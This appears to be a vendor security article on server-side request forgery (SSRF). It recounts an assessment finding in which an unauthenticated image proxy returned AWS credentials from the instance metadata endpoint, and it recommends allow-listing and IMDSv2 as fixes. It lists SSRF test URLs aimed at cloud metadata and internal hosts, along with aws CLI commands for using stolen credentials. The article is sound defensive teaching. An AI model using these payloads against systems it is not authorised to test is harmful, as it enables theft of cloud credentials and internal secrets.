What Is SSRF?
Server-Side Request Forgery (SSRF) happens when an attacker can make your server fetch a URL of their choosing. Instead of fetching an image from Instagram, the attacker's URL points to your AWS metadata endpoint, your internal Postgres database, or your Redis instance.
The server fetches it. Returns the response. The attacker reads your cloud credentials.
The Image Proxy Pattern
SSRF most commonly appears in:
- Image proxies ("preview this URL")
- Link unfurlers ("show a preview for this link")
- PDF generators ("convert this page to PDF")
- Webhook validators ("test this endpoint")
Any feature that makes your server issue an HTTP request based on user input is a potential SSRF surface.
Real SSRF We Found
During a security assessment of a PR and media intelligence platform, we found:
GET /api/v1/images?url=https://external-site.com/image.jpg
→ [proxied image content]
This endpoint required no authentication. We then tried the AWS EC2 metadata endpoint:
GET /api/v1/images?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
→ {
"Code": "Success",
"AccessKeyId": "ASIA...",
"SecretAccessKey": "...",
"Token": "...",
"Expiration": "2026-10-02T18:00:00Z"
}
Temporary AWS credentials. Valid for one hour. Enough to list S3 buckets, read secrets from Parameter Store, enumerate IAM roles.
The AWS Metadata Endpoint Risk
If your application runs on AWS EC2 or ECS and has an SSRF vulnerability, the blast radius is enormous:
# With credentials from SSRF:
aws s3 ls # list all buckets
aws secretsmanager list-secrets # list all secrets
aws ec2 describe-instances # internal network map
Modern AWS deployments should use IMDSv2 (requires a PUT request before GET) which prevents most simple SSRF attacks — but many deployments haven't migrated.
How to Find SSRF
Test Every URL Parameter
Any parameter that looks like it might fetch a URL: ?url=, ?image=, ?src=, ?href=, ?callback=
Test with Internal Targets
# AWS metadata
http://169.254.169.254/latest/meta-data/
# GCP metadata
http://metadata.google.internal/computeMetadata/v1/
# Internal hosts
http://localhost/
http://127.0.0.1/
http://10.0.0.1/
The Fix
Allow-list External URLs
const ALLOWED_DOMAINS = ['cdn.yoursite.com', 'images.trusted-partner.com']
function isSafeUrl(url: string): boolean {
const parsed = new URL(url)
return ALLOWED_DOMAINS.includes(parsed.hostname)
}
Enable AWS IMDSv2
# Require token-based access to instance metadata
aws ec2 modify-instance-metadata-options \
--instance-id i-1234567890abcdef0 \
--http-tokens required
This prevents SSRF from reaching the metadata endpoint without a PUT pre-flight, which cross-site requests cannot perform.
Pedro tests for SSRF on every URL-consuming parameter it finds, including unauthenticated endpoints that are especially dangerous.
Run SSRF detection on your domain →